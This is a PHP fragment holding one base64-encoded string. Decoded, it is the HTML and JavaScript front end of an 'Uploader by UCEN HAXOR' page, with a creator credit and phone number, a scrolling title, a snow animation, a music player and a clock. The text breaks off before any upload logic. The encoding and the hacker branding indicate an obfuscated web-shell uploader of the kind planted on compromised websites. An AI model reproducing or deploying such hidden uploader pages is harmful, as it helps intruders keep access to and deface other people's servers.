".base64_decode("PCEtLQ0KDQpNYXUgcmVjb2RlIHlhaCA/DQoNCml6aW4gZHVsdSBtYXN0YWg6dg0KDQpDcmVhdG9yOlVDRU4gSEFYT1INCg0KTnVtYmVyIFBob25lOiAwODIxNTIzNTYwOTENCkVzdDogMjAyMg0KDQotLT4NCg0KPGh0bWw+DQoNCgk8aGVhZD4NCg0KCQk8dGl0bGU+PC90aXRsZT4NCg0KCQk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQoNCgkJLy8gS29kZSBUaXRsZSBCZXJnZXJhaw0KDQogICAgICAgICB2YXIgcmV2ID0gImZ3ZCI7DQoNCiAgICAgICAgIGZ1bmN0aW9uIHRpdGxlYmFyKHZhbCkNCg0KICAgICAgICAgew0KDQogICAgICAgICB2YXIgbXNnID0gIi0tPVsgVXBsb2FkZXIgQnlVQ0VOIEhBWE9SIF09LS0iOw0KDQogICAgICAgICB2YXIgcmVzID0gIiAiOw0KDQogICAgICAgICB2YXIgc3BlZWQgPSA1MA0KDQogICAgICAgICB2YXIgcG9zID0gdmFsOw0KDQogICAgICAgICANCg0KICAgICAgICAgbXNnID0gIiAiICttc2crIiAiOw0KDQogICAgICAgICB2YXIgbGUgPSBtc2cubGVuZ3RoOw0KDQogICAgICAgICBpZihyZXYgPT0gImZ3ZCIpew0KDQogICAgICAgICBpZihwb3MgPCBsZSl7DQoNCiAgICAgICAgIHBvcyA9IHBvcysxOw0KDQogICAgICAgICBzY3JvbGwgPSBtc2cuc3Vic3RyKDAscG9zKTsNCg0KICAgICAgICAgZG9jdW1lbnQudGl0bGUgPSBzY3JvbGw7DQoNCiAgICAgICAgIHRpbWVyID0gd2luZG93LnNldFRpbWVvdXQoInRpdGxlYmFyKCIrcG9zKyIpIixzcGVlZCk7DQoNCiAgICAgICAgIH0NCg0KICAgICAgICAgZWxzZXsNCg0KICAgICAgICAgcmV2ID0gImJ3ZCI7DQoNCiAgICAgICAgIHRpbWVyID0gd2luZG93LnNldFRpbWVvdXQoInRpdGxlYmFyKCIrcG9zKyIpIixzcGVlZCk7DQoNCiAgICAgICAgIH0NCg0KICAgICAgICAgfQ0KDQogICAgICAgICBlbHNlew0KDQogICAgICAgICBpZihwb3MgPiAwKXsNCg0KICAgICAgICAgcG9zID0gcG9zLTE7DQoNCiAgICAgICAgIHZhciBhbGUgPSBsZS1wb3M7DQoNCiAgICAgICAgIHNjcm9sID0gbXNnLnN1YnN0cihhbGUsbGUpOw0KDQogICAgICAgICBkb2N1bWVudC50aXRsZSA9IHNjcm9sOw0KDQogICAgICAgICB0aW1lciA9IHdpbmRvdy5zZXRUaW1lb3V0KCJ0aXRsZWJhcigiK3BvcysiKSIsc3BlZWQpOw0KDQogICAgICAgICB9DQoNCiAgICAgICAgIGVsc2V7DQoNCiAgICAgICAgIHJldiA9ICJmd2QiOw0KDQogICAgICAgICB0aW1lciA9IHdpbmRvdy5zZXRUaW1lb3V0KCJ0aXRsZWJhcigiK3BvcysiKSIsc3BlZWQpOw0KDQogICAgICAgICB9IA0KDQogICAgICAgICB9DQoNCiAgICAgICAgIH0NCg0KICAgICAgICAgDQoNCiAgICAgICAgIHRpdGxlYmFyKDApOw0KDQogICAgICA8L3NjcmlwdD4NCg0KICAgICAgPGxpbmsgcmVsPSJTSE9SVENVVCBJQ09OIiAgaHJlZj0iDQoNCmh0dHBzOi8vbC50b3A0dG9wLmlvL3BfMjI4Nmo5emk5MC5qcGciPg0KDQogICAgICA8bWV0YSBwcm9wZXJ0eT0ib2c6aW1hZ2UiIGNvbnRlbnQ9Ig0KDQpodHRwczovL2wudG9wNHRvcC5pby9wXzIyODZqOXppOTAuanBnIj4NCg0KICAgICAgPGxpbmsgcmVsPSJpY29uIiB0eXBlPSJpbWFnZS9wbmciIGhyZWY9Ig0KDQpodHRwczovL2wudG9wNHRvcC5pby9wXzIyODZqOXppOTAuanBnIiAvPg0KDQogICAgICA8bGluayBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9S2VsbHkrU2xhYiIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQoNCiAgICAgIDwvaGVhZD4NCg0KICAgICAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCg0KICAgICAgYm9keXsNCg0KICAgICAgdGV4dC1hbGlnbjogY2VudGVyOw0KDQogICAgICBmb250LWZhbWlseTogS2VsbHkgU2xhYjsNCg0KICAgICAgZm9udC1jb2xvcjogI2ZmMDAwMDsNCg0KICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzAwMDsNCg0KICAgICAgbGVmdDogMHB4Ow0KDQogIAlyaWdodDogMHB4Ow0KDQogIAl0b3A6IDBweDsNCg0KICAgICAgfQ0KDQogICAgICBodG1sLA0KDQogICAgYm9keSB7DQoNCiAgICAgIG1hcmdpbjogMDsNCg0KICAgICAgcGFkZGluZzogMDsNCg0KICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCg0KICAgICAgbWF4LWhlaWdodDogMTAwJTsNCg0KICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsNCg0KICAgICAgZm9udC1zaXplOiAxNnB4Ow0KDQogICAgICAtd2Via2l0LXRvdWNoLWNhbGxvdXQ6IG5vbmU7DQoNCiAgICAgIC13ZWJraXQtdXNlci1zZWxlY3Q6IG5vbmU7DQoNCiAgICAgIHVzZXItc2VsZWN0OiBub25lOw0KDQogICAgICAtd2Via2l0LXRhcC1oaWdobGlnaHQtY29sb3I6IHJnYmEoMCwwLDAsMCk7DQoNCiAgICAgIC13ZWJraXQtdGV4dC1zaXplLWFkanVzdDogbm9uZTsNCg0KICAgICAgLW1vei10ZXh0LXNpemUtYWRqdXN0OiBub25lOw0KDQogICAgICAtbXMtdGV4dC1zaXplLWFkanVzdDogbm9uZTsNCg0KICAgICAgdGV4dC1zaXplLWFkanVzdDogbm9uZTsNCg0KICAgIH0NCg0KICAgIGJvZHkgew0KDQogICAgICBjb2xvcjogcmdiYSgwLCAwLCAwLCAuODYpOw0KDQogICAgICBmb250LWZhbWlseTogJ0tlbGx5IFNsYWInOw0KDQogICAgICAtd2Via2l0LWZvbnQtc21vb3RoaW5nOiBhbnRpYWxpYXNlZDsNCg0KICAgIH0NCg0KaW5wdXR7DQoNCkJPUkRFUi1SSUdIVDogICNmZjAwMDAgc29saWQ7DQoNCkJPUkRFUi1UT1A6ICAgICNmZjAwMDAgc29saWQ7DQoNCkJPUkRFUi1MRUZUOiAgI2ZmMDAwMCBzb2xpZDsNCg0KQk9SREVSLUJPVFRPTTogI2ZmMDAwMCBzb2xpZDsNCg0KQkFDS0dST1VORC1DT0xPUjogdHJhbnNwYXJlbnQ7DQoNCi1tb3otYm9yZGVyLXJhZGl1czogNXB4Ow0KDQotd2Via2l0LWJvcmRlci1yYWRpdXM6NXB4Ow0KDQpib3JkZXItcmFkaXVzOjBweDsNCg0KdHJhbnNpdGlvbjogMC4zczsNCg0KZm9udDogOXB0IEtlbGx5IFNsYWI7DQoNCmNvbG9yOiAjZmYwMDAwOw0KDQp9DQoNCmlucHV0OmhvdmVyew0KDQpCT1JERVItUklHSFQ6ICAjZmYwMDAwIHNvbGlkOw0KDQpCT1JERVItVE9QOiAgICAjZmYwMDAwIHNvbGlkOw0KDQpCT1JERVItTEVGVDogICNmZjAwMDAgc29saWQ7DQoNCkJPUkRFUi1CT1RUT006ICNmZjAwMDAgc29saWQ7DQoNCkJBQ0tHUk9VTkQtQ09MT1I6IHRyYW5zcGFyZW50Ow0KDQotbW96LWJvcmRlci1yYWRpdXM6IDVweDsNCg0KLXdlYmtpdC1ib3JkZXItcmFkaXVzOjVweDsNCg0KYm9yZGVyLXJhZGl1czo1cHg7DQoNCnRyYW5zaXRpb246IDAuM3M7DQoNCmZvbnQ6IDlwdCBLZWxseSBTbGFiOw0KDQpjb2xvcjogI2ZmMDAwMDsNCg0KfQ0KDQppbnB1dDpmb2N1c3sNCg0KQk9SREVSLVJJR0hUOiAgI2ZmMDAwMCBzb2xpZDsNCg0KQk9SREVSLVRPUDogICAgI2ZmMDAwMCBzb2xpZDsNCg0KQk9SREVSLUxFRlQ6ICAjZmYwMDAwIHNvbGlkOw0KDQpCT1JERVItQk9UVE9NOiAjZmYwMDAwIHNvbGlkOw0KDQpCQUNLR1JPVU5ELUNPTE9SOiB0cmFuc3BhcmVudDsNCg0KLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7DQoNCi13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7DQoNCmJvcmRlci1yYWRpdXM6MTBweDsNCg0KdHJhbnNpdGlvbjogMC4zczsNCg0KZm9udDogOXB0IEtlbGx5IFNsYWI7DQoNCmNvbG9yOiAjZmYwMDAwOw0KDQp9DQoNCnNlbGVjdHsNCg0KQk9SREVSLVJJR0hUOiAgI2ZmMDAwMCBzb2xpZDsNCg0KQk9SREVSLVRPUDogICAgI2ZmMDAwMCBzb2xpZDsNCg0KQk9SREVSLUxFRlQ6ICAjZmYwMDAwIHNvbGlkOw0KDQpCT1JERVItQk9UVE9NOiAjZmYwMDAwIHNvbGlkOw0KDQpCQUNLR1JPVU5ELUNPTE9SOiB0cmFuc3BhcmVudDsNCg0KLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7DQoNCi13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7DQoNCmJvcmRlci1yYWRpdXM6MHB4Ow0KDQp0cmFuc2l0aW9uOiAwLjNzOw0KDQpmb250OiA5cHQgS2VsbHkgU2xhYjsNCg0KY29sb3I6ICNmZjAwMDA7DQoNCn0NCg0Kc2VsZWN0OmhvdmVyew0KDQpCT1JERVItUklHSFQ6ICAjZmYwMDAwIHNvbGlkOw0KDQpCT1JERVItVE9QOiAgICAjZmYwMDAwIHNvbGlkOw0KDQpCT1JERVItTEVGVDogICNmZjAwMDAgc29saWQ7DQoNCkJPUkRFUi1CT1RUT006ICNmZjAwMDAgc29saWQ7DQoNCkJBQ0tHUk9VTkQtQ09MT1I6IHRyYW5zcGFyZW50Ow0KDQotbW96LWJvcmRlci1yYWRpdXM6IDVweDsNCg0KLXdlYmtpdC1ib3JkZXItcmFkaXVzOjVweDsNCg0KYm9yZGVyLXJhZGl1czoxNXB4Ow0KDQp0cmFuc2l0aW9uOiAwLjNzOw0KDQpmb250OiA5cHQgS2VsbHkgU2xhYjsNCg0KY29sb3I6ICNmZjAwMDA7DQoNCn0NCg0Kc2VsZWN0OmZvY3Vzew0KDQpCT1JERVItUklHSFQ6ICAjZmYwMDAwIHNvbGlkOw0KDQpCT1JERVItVE9QOiAgICAjZmYwMDAwIHNvbGlkOw0KDQpCT1JERVItTEVGVDogICNmZjAwMDAgc29saWQ7DQoNCkJPUkRFUi1CT1RUT006ICNmZjAwMDAgc29saWQ7DQoNCkJBQ0tHUk9VTkQtQ09MT1I6IHRyYW5zcGFyZW50Ow0KDQotbW96LWJvcmRlci1yYWRpdXM6IDVweDsNCg0KLXdlYmtpdC1ib3JkZXItcmFkaXVzOjVweDsNCg0KYm9yZGVyLXJhZGl1czoxMDBweDsNCg0KdHJhbnNpdGlvbjogMC4zczsNCg0KZm9udDogOXB0IEtlbGx5IFNsYWI7DQoNCmNvbG9yOiAjZmYwMDAwOw0KDQp9DQoNCi5hbmpheSB7DQoNCg0KDQogICAgICAtd2Via2l0LWFuaW1hdGlvbi1uYW1lOiBibGlua2VyOw0KDQoNCg0KICAgICAgLXdlYmtpdC1hbmltYXRpb24tZHVyYXRpb246IDNzOw0KDQoNCg0KICAgICAgLXdlYmtpdC1hbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOiBsaW5lYXI7DQoNCg0KDQogICAgICAtd2Via2l0LWFuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6IGluZmluaXRlOw0KDQoNCg0KICAgICAgLW1vei1hbmltYXRpb24tbmFtZTogYmxpbmtlcjsNCg0KDQoNCiAgICAgIC1tb3otYW5pbWF0aW9uLWR1cmF0aW9uOiAyczsNCg0KDQoNCiAgICAgIC1tb3otYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogbGluZWFyOw0KDQoNCg0KICAgICAgLW1vei1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiBpbmZpbml0ZTsNCg0KDQoNCiAgICAgIGFuaW1hdGlvbi1uYW1lOiBibGlua2VyOw0KDQoNCg0KICAgICAgYW5pbWF0aW9uLWR1cmF0aW9uOiAxczsNCg0KDQoNCiAgICAgIGFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGxpbmVhcjsNCg0KDQoNCiAgICAgIGFuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6IGluZmluaXRlOw0KDQoNCg0KICAgICAgfQ0KDQoNCg0KICAgICAgQC1tb3ota2V5ZnJhbWVzIGJsaW5rZXIgeyAgDQoNCg0KDQogICAgICAwJSB7IG9wYWNpdHk6IDEuMDsgfQ0KDQoNCg0KICAgICAgNTAlIHsgb3BhY2l0eTogMC4wOyB9DQoNCg0KDQogICAgICAxMDAlIHsgb3BhY2l0eTogMS4wOyB9DQoNCg0KDQogICAgICB9DQoNCg0KDQogICAgICBALXdlYmtpdC1rZXlmcmFtZXMgYmxpbmtlciB7ICANCg0KDQoNCiAgICAgIDAlIHsgb3BhY2l0eTogMS4wOyB9DQoNCg0KDQogICAgICA1MCUgeyBvcGFjaXR5OiAwLjA7IH0NCg0KDQoNCiAgICAgIDEwMCUgeyBvcGFjaXR5OiAxLjA7IH0NCg0KDQoNCiAgICAgIH0NCg0KDQoNCiAgICAgIEBrZXlmcmFtZXMgYmxpbmtlciB7ICANCg0KDQoNCiAgICAgIDAlIHsgb3BhY2l0eTogMS4wOyB9DQoNCg0KDQogICAgICA1MCUgeyBvcGFjaXR5OiAwLjA7IH0NCg0KDQoNCiAgICAgIDEwMCUgeyBvcGFjaXR5OiAxLjA7IH0NCg0KDQoNCiAgICAgIH0NCg0KYXsNCg0KCWNvbG9yOiAjZmYwMDAwOw0KDQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoNCgl0cmFuc2l0aW9uOiAwLjNzOw0KDQp9DQoNCmE6aG92ZXJ7DQoNCgljb2xvcjogI2ZmMDAwMDsNCg0KCXRleHQtZGVjb3JhdGlvbjpub25lOw0KDQoJdHJhbnNpdGlvbjogMC4yczsNCg0KYTpmb2N1c3sNCg0KCWNvbG9yOiAjZmYwMDAwOw0KDQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoNCgl0cmFuc2l0aW9uOiAwLjFzOw0KDQp9DQoNCi5uZ290YXh7DQoNCiAgICBkaXNwbGF5OmJsb2NrOw0KDQogICAgYm9yZGVyOiAxcHggc29saWQgcmVkOw0KDQogICAgdGV4dC1hbGlnbjogbGVmdDsNCg0KICAgIHBhZGRpbmc6NXB4Ow0KDQogICAgbWFyZ2luLXRvcDo1cHg7DQoNCiAgICB3aWR0aDoxMDAlOw0KDQogICAgaGVpZ2h0OjYwMHB4Ow0KDQogICAgb3ZlcmZsb3c6c2Nyb2xsOw0KDQogICAgZm9udC1mYW1pbHk6IEtlbGx5IFNsYWI7DQoNCn0NCg0KPC9zdHlsZT4NCg0KPGJvZHkgYWxpZ249ImNlbnRlciIgb25jb250ZXh0bWVudT0icmV0dXJuIGZhbHNlIiBiZ2NvbG9yPSJibGFjayI+DQoNCgk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQoNCnZhciBzbm93bWF4PTM1DQoNCnZhciBzbm93Y29sb3I9bmV3IEFycmF5KCIjQUFBQUNDIiwiI0RERERGRiIsIiNDQ0NDREQiLCIjRjNGM0YzIiwiI0YwRkZGRiIpDQoNCnZhciBzbm93dHlwZT1uZXcgQXJyYXkoIkFyaWFsIEJsYWNrIiwiQXJpYWwgTmFycm93IiwiVGltZXMiLCJDb21pYyBTYW5zIE1TIikNCg0KdmFyIHNub3dsZXR0ZXI9IioiDQoNCnZhciBzaW5rc3BlZWQ9MC42DQoNCnZhciBzbm93bWF4c2l6ZT0yMg0KDQp2YXIgc25vd21pbnNpemU9OA0KDQp2YXIgc25vd2luZ3pvbmU9MQ0KDQoNCg0KLy8gRG8gbm90IGVkaXQgYmVsb3cgdGhpcyBsaW5lDQoNCnZhciBzbm93PW5ldyBBcnJheSgpDQoNCnZhciBtYXJnaW5ib3R0b20NCg0KdmFyIG1hcmdpbnJpZ2h0DQoNCnZhciB0aW1lcg0KDQp2YXIgaV9zbm93PTANCg0KdmFyIHhfbXY9bmV3IEFycmF5KCk7DQoNCnZhciBjcmRzPW5ldyBBcnJheSgpOw0KDQp2YXIgbGZ0cmdodD1uZXcgQXJyYXkoKTsNCg0KdmFyIGJyb3dzZXJpbmZvcz1uYXZpZ2F0b3IudXNlckFnZW50IA0KDQp2YXIgaWU1PWRvY3VtZW50LmFsbCYmZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQmJiFicm93c2VyaW5mb3MubWF0Y2goL09wZXJhLykNCg0KdmFyIG5zNj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCYmIWRvY3VtZW50LmFsbA0KDQp2YXIgb3BlcmE9YnJvd3NlcmluZm9zLm1hdGNoKC9PcGVyYS8pICANCg0KdmFyIGJyb3dzZXJvaz1pZTV8fHx8bnM2fHx8fG9wZXJhDQoNCg0KDQpmdW5jdGlvbiByYW5kb21tYWtlcihyYW5nZSkgewkJDQoNCglyYW5kPU1hdGguZmxvb3IocmFuZ2UqTWF0aC5yYW5kb20oKSkNCg0KICAgIHJldHVybiByYW5kDQoNCn0NCg0KDQoNCmZ1bmN0aW9uIGluaXRzbm93KCkgew0KDQoJaWYgKGllNSB8fHx8IG9wZXJhKSB7DQoNCgkJbWFyZ2luYm90dG9tID0gZG9jdW1lbnQuYm9keS5jbGllbnRIZWlnaHQNCg0KCQltYXJnaW5yaWdodCA9IGRvY3VtZW50LmJvZHkuY2xpZW50V2lkdGgNCg0KCX0NCg0KCWVsc2UgaWYgKG5zNikgew0KDQoJCW1hcmdpbmJvdHRvbSA9IHdpbmRvdy5pbm5lckhlaWdodA0KDQoJCW1hcmdpbnJpZ2h0ID0gd2luZG93LmlubmVyV2lkdGgNCg0KCX0NCg0KCXZhciBzbm93c2l6ZXJhbmdlPXNub3dtYXhzaXplLXNub3dtaW5zaXplDQoNCglmb3IgKGk9MDtpPD1zbm93bWF4O2krKykgew0KDQoJCWNyZHNbIGldICA9IDA7ICAgICAgICAgICAgICAgICAgICAgIA0KDQogICAgCWxmdHJnaHRbIGldICA9IE1hdGgucmFuZG9tKCkqMTU7ICAgICAgICAgDQoNCiAgICAJeF9tdlsgaV0gID0gMC4wMyArIE1hdGgucmFuZG9tKCkvMTA7DQoNCgkJc25vd1sgaV0gPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzIitpKQ0KDQoJCXNub3dbIGldIC5zdHlsZS5mb250RmFtaWx5PXNub3d0eXBlWyByYW5kb21tYWtlcihzbm93dHlwZS5sZW5ndGgpXSANCg0KCQlzbm93WyBpXSAuc2l6ZT1yYW5kb21tYWtlcihzbm93c2l6ZXJhbmdlKStzbm93bWluc2l6ZQ0KDQoJCXNub3dbIGldIC5zdHlsZS5mb250U2l6ZT1zbm93WyBpXSAuc2l6ZQ0KDQoJCXNub3dbIGldIC5zdHlsZS5jb2xvcj1zbm93Y29sb3JbIHJhbmRvbW1ha2VyKHNub3djb2xvci5sZW5ndGgpXSANCg0KCQlzbm93WyBpXSAuc2luaz1zaW5rc3BlZWQqc25vd1sgaV0gLnNpemUvNQ0KDQoJCWlmIChzbm93aW5nem9uZT09MSkge3Nub3dbIGldIC5wb3N4PXJhbmRvbW1ha2VyKG1hcmdpbnJpZ2h0LXNub3dbIGldIC5zaXplKX0NCg0KCQlpZiAoc25vd2luZ3pvbmU9PTIpIHtzbm93WyBpXSAucG9zeD1yYW5kb21tYWtlcihtYXJnaW5yaWdodC8yLXNub3dbIGldIC5zaXplKX0NCg0KCQlpZiAoc25vd2luZ3pvbmU9PTMpIHtzbm93WyBpXSAucG9zeD1yYW5kb21tYWtlcihtYXJnaW5yaWdodC8yLXNub3dbIGldIC5zaXplKSttYXJnaW5yaWdodC80fQ0KDQoJCWlmIChzbm93aW5nem9uZT09NCkge3Nub3dbIGldIC5wb3N4PXJhbmRvbW1ha2VyKG1hcmdpbnJpZ2h0LzItc25vd1sgaV0gLnNpemUpK21hcmdpbnJpZ2h0LzJ9DQoNCgkJc25vd1sgaV0gLnBvc3k9cmFuZG9tbWFrZXIoMiptYXJnaW5ib3R0b20tbWFyZ2luYm90dG9tLTIqc25vd1sgaV0gLnNpemUpDQoNCgkJc25vd1sgaV0gLnN0eWxlLmxlZnQ9c25vd1sgaV0gLnBvc3gNCg0KCQlzbm93WyBpXSAuc3R5bGUudG9wPXNub3dbIGldIC5wb3N5DQoNCgl9DQoNCgltb3Zlc25vdygpDQoNCn0NCg0KDQoNCmZ1bmN0aW9uIG1vdmVzbm93KCkgew0KDQoJZm9yIChpPTA7aTw9c25vd21heDtpKyspIHsNCg0KCQljcmRzWyBpXSAgKz0geF9tdlsgaV0gOw0KDQoJCXNub3dbIGldIC5wb3N5Kz1zbm93WyBpXSAuc2luaw0KDQoJCXNub3dbIGldIC5zdHlsZS5sZWZ0PXNub3dbIGldIC5wb3N4K2xmdHJnaHRbIGldICpNYXRoLnNpbihjcmRzWyBpXSApOw0KDQoJCXNub3dbIGldIC5zdHlsZS50b3A9c25vd1sgaV0gLnBvc3kNCg0KCQkNCg0KCQlpZiAoc25vd1sgaV0gLnBvc3k+PW1hcmdpbmJvdHRvbS0yKnNub3dbIGldIC5zaXplIHx8fHwgcGFyc2VJbnQoc25vd1sgaV0gLnN0eWxlLmxlZnQpPihtYXJnaW5yaWdodC0zKmxmdHJnaHRbIGldICkpew0KDQoJCQlpZiAoc25vd2luZ3pvbmU9PTEpIHtzbm93WyBpXSAucG9zeD1yYW5kb21tYWtlcihtYXJnaW5yaWdodC1zbm93WyBpXSAuc2l6ZSl9DQoNCgkJCWlmIChzbm93aW5nem9uZT09Mikge3Nub3dbIGldIC5wb3N4PXJhbmRvbW1ha2VyKG1hcmdpbnJpZ2h0LzItc25vd1sgaV0gLnNpemUpfQ0KDQoJCQlpZiAoc25vd2luZ3pvbmU9PTMpIHtzbm93WyBpXSAucG9zeD1yYW5kb21tYWtlcihtYXJnaW5yaWdodC8yLXNub3dbIGldIC5zaXplKSttYXJnaW5yaWdodC80fQ0KDQoJCQlpZiAoc25vd2luZ3pvbmU9PTQpIHtzbm93WyBpXSAucG9zeD1yYW5kb21tYWtlcihtYXJnaW5yaWdodC8yLXNub3dbIGldIC5zaXplKSttYXJnaW5yaWdodC8yfQ0KDQoJCQlzbm93WyBpXSAucG9zeT0wDQoNCgkJfQ0KDQoJfQ0KDQoJdmFyIHRpbWVyPXNldFRpbWVvdXQoIm1vdmVzbm93KCkiLDUwKQ0KDQp9DQoNCg0KDQpmb3IgKGk9MDtpPD1zbm93bWF4O2krKykgew0KDQoJZG9jdW1lbnQud3JpdGUoIjxzcGFuIGlkPSdzIitpKyInIHN0eWxlPSdwb3NpdGlvbjphYnNvbHV0ZTt0b3A6LSIrc25vd21heHNpemUrIic+Iitzbm93bGV0dGVyKyI8L3NwYW4+IikNCg0KfQ0KDQppZiAoYnJvd3Nlcm9rKSB7DQoNCgl3aW5kb3cub25sb2FkPWluaXRzbm93DQoNCn0NCg0KPC9zY3JpcHQ+DQoNCjxzY3JpcHQ+DQoNCiAgICAgICAgZnVuY3Rpb24gcGxheSgpew0KDQogICAgICAgICAgICAgIHZhciBhdWRpbyA9DQoNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbXVzaWMnKTsNCg0KICAgICAgICAgICAgICAgIGF1ZGlvLnBsYXkoKTsNCg0KICAgICAgICB9DQoNCiAgICAgICBmdW5jdGlvbiBwYXVzZSgpew0KDQogICAgICAgICAgICAgdmFyIGF1ZGlvID0gDQoNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdtdXNpYycpOw0KDQogICAgICAgICAgICBhdWRpby5wYXVzZSgpOw0KDQogICAgICAgfQ0KDQo8L3NjcmlwdD48c2NyaXB0Pg0KDQp2YXIgdGV4dD0iVXBsb2FkZXIgOiBqcGcgLmh0bWwgLnBuZyAuZ2lmIjsNCg0KdmFyIGRlbGF5PTIwOw0KDQp2YXIgY3VycmVudENoYXI9MTsNCg0KdmFyIGRlc3RpbmF0aW9uPSJbbm9uZV0iOw0KDQpmdW5jdGlvbiB0eXBlKCkNCg0Kew0KDQovL2lmIChkb2N1bWVudC5hbGwpDQoNCnsNCg0KdmFyIGRlc3Q9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoZGVzdGluYXRpb24pOw0KDQppZiAoZGVzdCkvLyAmJiBkZXN0LmlubmVySFRNTCkNCg0Kew0KDQpkZXN0LmlubmVySFRNTD10ZXh0LnN1YnN0cigwLCBjdXJyZW50Q2hhcikrIjxibGluayBjbGFzcz1hbmpheT58PC9ibGluaz4iOw0KDQpjdXJyZW50Q2hhcisrOw0KDQppZiAoY3VycmVudENoYXI+dGV4dC5sZW5ndGgpDQoNCnsNCg0KY3VycmVudENoYXI9MTsNCg0Kc2V0VGltZW91dCgidHlwZSgpIiwgNTAwMCk7DQoNCn0NCg0KZWxzZQ0KDQp7DQoNCnNldFRpbWVvdXQoInR5cGUoKSIsIGRlbGF5KTsNCg0KfQ0KDQp9DQoNCn0NCg0KfQ0KDQpmdW5jdGlvbiBzdGFydFR5cGluZyh0ZXh0UGFyYW0sIGRlbGF5UGFyYW0sIGRlc3RpbmF0aW9uUGFyYW0pDQoNCnsNCg0KdGV4dD10ZXh0UGFyYW07DQoNCmRlbGF5PWRlbGF5UGFyYW07DQoNCmN1cnJlbnRDaGFyPTE7DQoNCmRlc3RpbmF0aW9uPWRlc3RpbmF0aW9uUGFyYW07DQoNCnR5cGUoKTsNCg0KfQ0KDQogICAgICAgPC9zY3JpcHQ+PHNjcmlwdD4NCg0KZnVuY3Rpb24gb3Blbk5hdigpIHsNCg0KICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibXlOYXYiKS5zdHlsZS53aWR0aCA9ICIxMDAlIjsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gY2xvc2VOYXYoKSB7DQoNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIm15TmF2Iikuc3R5bGUud2lkdGggPSAiMCUiOw0KDQp9DQoNCjwvc2NyaXB0Pg0KDQo8YXVkaW8gaWQ9Im11c2ljIiBzcmM9Imh0dHBzOi8vZi50b3A0dG9wLmlvL21fMjEzOWpqbTEzMC5tcDMiPjwvYXVkaW8+DQoNCiAgICAgIDx0YWJsZSBhbGlnbj0iY2VudGVyIj48dHI+PHRkIGFsaWduPSJsZWZ0Ij48Y2VudGVyPjxpbWcgdGl0bGU9Ii4vUzRkYm95WFBMT0lENDA0IElDT04iIHNyYz0iaHR0cHM6Ly9sLnRvcDR0b3AuaW8vcF8yMjg2ajl6aTkwLmpwZyIgIGFsdD0iLi9TNGRib3lYUExPSUQ0MDQgSUNPTiIgd2lkdGg9IjM1MCI+PC9jZW50ZXI+PC90ZD48dGQgYWxpZ249InJpZ2h0Ij4NCg0KICAgICAgPGNlbnRlcj48Zm9udCBjb2xvcj0iI2ZmMDAwMCI+VXBsb2FkZXIgYnkgVUNFTiBIQVhPUjwvZm9udD48YnI+DQoNCgk8aW5wdXQgdHlwZT0iYnV0dG9uIiBvbmNsaWNrPSJwbGF5KCkiIHZhbHVlPSJQTEFZIj4mbmJzcDsmbmJzcDsNCg0KICAgICA8aW5wdXQgdHlwZT0iYnV0dG9uIiBvbmNsaWNrPSJwYXVzZSgpIiB2YWx1ZT0iUEFVU0UiPiZuYnNwOyZuYnNwOw0KDQo8aW5wdXQgdHlwZT0iYnV0dG9uIiAgdmFsdWU9IlJlZnJlc2giIG9uQ2xpY2s9ImRvY3VtZW50LmxvY2F0aW9uLnJlbG9hZCh0cnVlKSI+Jm5ic3A7Jm5ic3A7DQoNCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSJDb21lIEJhY2siIG9uY2xpY2s9Imhpc3RvcnkuYmFjaygpIj48YnI+DQoNCjxmb250IGNvbG9yPSJyZWQiPiANCg0KICAgICAgICAgICA8ZGl2IGlkPSJjbG9jayI+PC9kaXY+IDxzY3JpcHQgZGF0YS1jZmFzeW5jPSJmYWxzZSIgc3JjPSIvY2RuLWNnaS9zY3JpcHRzLzVjNWRkNzI4L2Nsb3VkZmxhcmUtc3RhdGljL2VtYWlsLWRlY29kZS5taW4uanMiPjwvc2NyaXB0PjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCg0KICBmdW5jdGlvbiBzaG93VGltZSgpIHsNCg0KICB2YXIgYV9wID0gIiI7DQoNCiAgdmFyIHRvZGF5ID0gbmV3IERhdGUoKTsNCg0KICB2YXIgY3Vycl9ob3VyID0gdG9kYXkuZ2V0SG91cnMoKTsNCg0KICB2YXIgY3Vycl9taW51dGUgPSB0b2RheS5nZXRNaW51dGVzKCk7DQoNCiAgdmFyIGN1cnJfc2Vjb25kID0gdG9kYXkuZ2V0U2Vjb25kcygpOw0KDQogIGlmIChjdXJyX2hvdXIgPCAxMikgew0KDQogIGFfcCA9ICJBTSI7DQoNCiAgfSBlbHNlIHsNCg0KICBhX3AgPSAiUE0iOw0KDQogIH0NCg0KICBpZiAoY3Vycl9ob3VyID09IDApIHsNCg0KICBjdXJyX2hvdXIgPSAxMjsNCg0K